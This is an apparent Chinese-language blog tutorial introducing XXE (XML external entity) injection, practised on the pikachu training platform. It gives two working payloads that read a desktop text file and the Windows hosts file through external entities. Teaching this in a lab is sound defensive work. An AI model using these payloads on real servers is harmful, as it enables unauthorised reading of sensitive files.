• WEB安全——初识XXE漏洞


    0X00漏洞介绍:

      XXE全称(XML External Entity)即XML外部实体注入,漏洞是对非安全的外部实体数据进行处理时引发的安全问题。

      XML是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据,定于数据类型,是一种允许用户对自己的标记语言进行定于的源语言。XML文档结构包括XML声明,DTD文档类型定义,文档元素。

    0X01漏洞原理:

      DTD里声明XML外部实体<!ENTITY 实体名称 SYSTEM “URL” >,url内容为一些敏感的本地文件路径或攻击链接或localhost:端口。

    0X02实验环境:

    pikachu(漏洞练习平台)

    nginx 1.15.11

    php 5.2.17

    libXML 2.7.8

    0X03 实验效果:

    输入‘hello world’被当做XML命令执行了,初步判断存在xxe漏洞,如下图:

    在桌面新建1.txt,写入内容,如下图:

    构造payload进行测试:

    payload1:
    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE name [
    <!ENTITY xxe SYSTEM "file:///C:/Users/Administrator/Desktop/1.txt">
    ]>
    <name>&xxe;</name>
    

      

    这一段代码,其中xxe就是外部实体,我们可以通过这个参数来读取file:///C:/Users/Administrator/Desktop/1.txt的内容,因为我们web服务器在解析xml文档的过程中,实体xxe的值会直接被替换成file:///C:/Users/Administrator/Desktop/1.txt。关键字'SYSTEM'会告诉XML解析器,'xxe'的实体值将会从后面的URL获取,也就是我们所替换的file:///C:/Users/Administrator/Desktop/1.txt文件。

    提交后,成功读取1.txt内容,如下图:

    Payload2:
    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE name [
    <!ENTITY xxe SYSTEM "C:/Windows/System32/drivers/etc/hosts">
    ]>
    <name>&xxe;</name>
    

    提交后成功读取hosts文件,如下图:

     

  • 相关阅读:
    《构建之法》阅读笔记4
    《构建之法》阅读笔记3
    《构建之法》阅读笔记2
    《构建之法》阅读笔记1
    Android可折叠式菜单栏
    Material卡片式布局+下拉刷新+完整代码
    android悬浮按钮的使用
    androidStdio下载与安装以及安装过程问题解释
    html给图片划分区域添加链接
    UI进阶2-滑动菜单
  • 原文地址:https://www.cnblogs.com/cowherd/p/13196213.html
Copyright © 2020-2023  润新知